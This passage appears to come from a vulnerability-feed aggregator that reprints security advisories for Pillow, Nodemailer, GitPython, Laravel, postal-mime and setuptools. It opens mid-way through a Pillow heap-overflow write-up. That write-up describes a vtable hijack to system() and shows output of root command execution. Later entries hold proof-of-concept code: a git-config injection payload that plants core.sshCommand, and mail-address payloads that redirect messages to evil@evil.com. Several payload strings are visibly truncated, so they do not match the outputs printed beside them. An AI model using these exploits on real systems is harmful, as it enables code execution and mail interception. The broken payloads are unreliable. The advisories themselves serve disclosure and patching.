(UINT8 *)calloc(1, state->bytes); ``` In `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `"LA"` and `"YCC;P"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)): ```c /* Disable decoder conversions. */ context->cinfo.jpeg_color_space = JCS_UNKNOWN; context->cinfo.out_color_space = JCS_UNKNOWN; ``` Under `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)): ```c ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer ``` This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution. ### PoC To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup). The source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source). `vulnerable.py` is the program under test, a one-liner that opens the file it is given: ```python #!/usr/bin/env python3 # The entire vulnerable operation an application performs on an untrusted file. import sys from PIL import Image Image.open(sys.argv[1]).load() ``` The payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command: ```console $ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx [control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0 [control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id' ``` Then open it with `vulnerable.py`: ```console $ python3 vulnerable.py shell.fpx uid=0(root) gid=0(root) groups=0(root) corrupted size vs. prev_size ``` `Image.open()` of the crafted file runs the baked command via `system("id")`: command execution as the user running the image processing (root in the container). The trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has already run. The builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it. ### Impact This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension an Affected package ranges reported by GitHub: pillow: <= 12.3.0 Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### postal-mime: Quadratic CPU consumption when decoding a header of many joinable RFC 2047 base64 encoded words https://kevwire.com/record/GHSA-f2hq-32vh-53cc postal-mime: Quadratic CPU consumption when decoding a header of many joinable RFC 2047 base64 encoded words (Oct 23, 2026). Decoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget. Any application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f2hq-32vh-53cc). Sources: GitHub-reviewed advisory GHSA-f2hq-32vh-53cc: https://github.com/advisories/GHSA-f2hq-32vh-53cc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Impact Decoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget. Any application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact. ### Patches Fixed in 4.0.8. The pad check now tracks the last appended word instead of testing the joined text, so decoding is linear in the header length. The same release also counts the parts and header bytes of inline `message/rfc822` sub-messages against the limits of the message as a whole, counts every header line for at least 64 bytes of `maxHeadersSize`, and adds a scaling test that measures every stage of the parser at two input sizes. ### Workarounds Lower `maxHeadersSize` from its 2 MiB default to bound the cost per message, or parse untrusted mail in a worker that can be terminated. ### Credits Reported by Felipe Fernández. Affected package ranges reported by GitHub: postal-mime: >= 3.0.0, < 4.0.8 Action: GitHub lists first patched versions: postal-mime: 4.0.8. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 https://kevwire.com/record/CVE-2026-114501 Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 (Oct 23, 2026). When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. With an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row. CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-654x-cwwv-5j9c). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-654x-cwwv-5j9c: https://github.com/advisories/GHSA-654x-cwwv-5j9c GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25 ### Summary When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. ### Details With an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row. Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5. ### PoC Whether things leak may depend on allocator configuration. This does show a leak on my Mac. ```python import os os.environ["PILLOW_ALIGNMENT"] = "64" from PIL import Image # Image A: 64 px wide, so its rows fill the whole aligned stride a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT) del a # Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0 b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT) try: exported = Image.fromarrow(b, b.mode, b.size).tobytes() except ValueError as e: print("Not vulnerable:", e) else: if leaked := len(exported) - exported.count(0): raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels") ``` ### Impact Information disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents. Affected package ranges reported by GitHub: Pillow: >= 11.2.1, < 13.0.0 Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient https://kevwire.com/record/GHSA-8c8m-p3m8-cjg8 Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient (Oct 23, 2026). RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3. The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-8c8m-p3m8-cjg8). Sources: GitHub-reviewed advisory GHSA-8c8m-p3m8-cjg8: https://github.com/advisories/GHSA-8c8m-p3m8-cjg8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Vulnerability summary RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3. ### Attacker capabilities The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ### Realistic exploitation scenario An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) ) `, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side. ### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("Victim (x(y) ) ")); // [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "Victim (x(y) ) " })` issues the RCPT TO shown above. ### Security impact Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix counts comment depth and ends a comment only at the `)` that closes the outermost one. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. Affected package ranges reported by GitHub: nodemailer: >= 3.0.0, < 10.1.4 Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient https://kevwire.com/record/GHSA-m943-m63m-w62w Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient (Oct 23, 2026). addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3. The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects. CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-m943-m63m-w62w). Sources: GitHub-reviewed advisory GHSA-m943-m63m-w62w: https://github.com/advisories/GHSA-m943-m63m-w62w GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Vulnerability summary addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3. ### Attacker capabilities The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects. ### Realistic exploitation scenario An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; ) ;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" " " ;`. The boundary crossed is the application's recipient allow list. ### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("G: (a; ) ;")); // [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; ) ;" })` issues the RCPT TO shown above. ### Security impact Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings and comments inside a group and reads only a `;` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. Affected package ranges reported by GitHub: nodemailer: >= 3.0.0, < 10.1.4 Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name https://kevwire.com/record/GHSA-85x2-q946-cp5h Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name (Oct 23, 2026). addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` "@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3. The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-85x2-q946-cp5h). Sources: GitHub-reviewed advisory GHSA-85x2-q946-cp5h: https://github.com/advisories/GHSA-85x2-q946-cp5h GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Vulnerability summary addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` "@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3. ### Attacker capabilities The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ### Realistic exploitation scenario An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits ` "@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO: ` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees. ### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser(" \"@good.com>")); // [ { address: '"a@evil.com', name: '@good.com>' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `"a@evil.com>"@good.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: " \"@good.com>" })` issues the RCPT TO shown above. ### Security impact Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. Affected package ranges reported by GitHub: nodemailer: >= 3.0.0, < 10.1.4 Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Laravel TokenGuard authentication bypass through non-string API credentials https://kevwire.com/record/CVE-2026-114509 Laravel TokenGuard authentication bypass through non-string API credentials (Oct 23, 2026). Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. **Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected. CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f9x3-7vq9-cph6). EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-f9x3-7vq9-cph6: https://github.com/advisories/GHSA-f9x3-7vq9-cph6 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-114509: https://nvd.nist.gov/vuln/detail/CVE-2026-114509 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25 Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. **Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected. ### Impact An unauthenticated attacker may authenticate as another user without possessing that user's API token, leading to authentication bypass and account takeover on any route protected by the affected guard. Affected package ranges reported by GitHub: laravel/framework: >= 13.0.0, < 13.29.0 laravel/framework: < 12.68.0 Action: GitHub lists first patched versions: laravel/framework: 13.29.0; laravel/framework: 12.68.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Laravel relationship inclusion can trigger unauthorized data destruction https://kevwire.com/record/CVE-2026-114508 Laravel relationship inclusion can trigger unauthorized data destruction (Oct 23, 2026). A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data. CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5wcm-3v2w-8362). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-5wcm-3v2w-8362: https://github.com/advisories/GHSA-5wcm-3v2w-8362 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25 A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data. ### Impact A user with only read access could cause irreversible data loss (e.g., a related table being emptied), without needing any write permissions. This could result in denial of service and loss of data integrity for affected applications. Affected package ranges reported by GitHub: laravel/framework: >= 12.45.0, < 12.68.0 laravel/framework: >= 13.0.0, < 13.27.0 Action: GitHub lists first patched versions: laravel/framework: 12.68.0; laravel/framework: 13.27.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) https://kevwire.com/record/CVE-2026-69097 GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (Jul 24, 2026). In GitPython ` None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-3rp5-jjmw-4wv2). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2: https://github.com/advisories/GHSA-3rp5-jjmw-4wv2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25 ### Summary In GitPython ` None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule " "` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name= , ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from( )` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` # GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule " "` wrapper balances them automatically. ### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/ ` directory name can Affected package ranges reported by GitHub: gitpython: <= 3.1.52 Action: GitHub lists first patched versions: gitpython: 3.1.53. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation Description https://kevwire.com/record/GHSA-xmj3-9gf7-h52w setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation Description (Oct 23, 2026). On Windows, attacker-controlled content in a wheel's `.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel installation path to create an `__init__.py` outside the requested `destination_eggdir`. The attacker can influence the destination path, but not the contents of the created file. CVSS 1.0 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xmj3-9gf7-h52w). Sources: GitHub-reviewed advisory GHSA-xmj3-9gf7-h52w: https://github.com/advisories/GHSA-xmj3-9gf7-h52w GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary On Windows, attacker-controlled content in a wheel's `.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel installation path to create an `__init__.py` outside the requested `destination_eggdir`. The attacker can influence the destination path, but not the contents of the created file. ### Details Tested setuptools commit: `6ead555c5fb29bc57fe6105b1bffc163f56fd558` Relevant source: `setuptools/wheel.py` SHA-256: `359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd` The relevant call path is: `Wheel(wheel_path).install_as_egg(destination)` → `_install_as_egg` → `_convert_metadata` → `_fix_namespace_packages` A wheel can provide attacker-controlled content in: ` .dist-info/namespace_packages.txt` The namespace value is eventually used approximately as: ```python mod_dir = os.path.join(destination_eggdir, *mod.split('.')) mod_init = os.path.join(mod_dir, '__init__.py') If mod is a Windows drive-qualified absolute path containing no dots, mod.split('.') preserves it as a single component. On Windows, os.path.join(destination_eggdir, absolute_component) discards the original base directory and resolves to the attacker-supplied absolute path. The existing wheel filename and ZIP traversal checks do not validate this metadata value before it is subsequently interpreted as a filesystem path. ```markdown ### PoC The reproduction was performed entirely inside a disposable temporary directory. Layout: ```text sandbox/ destination/ outside/ input/ canary.txt ``` A synthetic wheel was created containing: 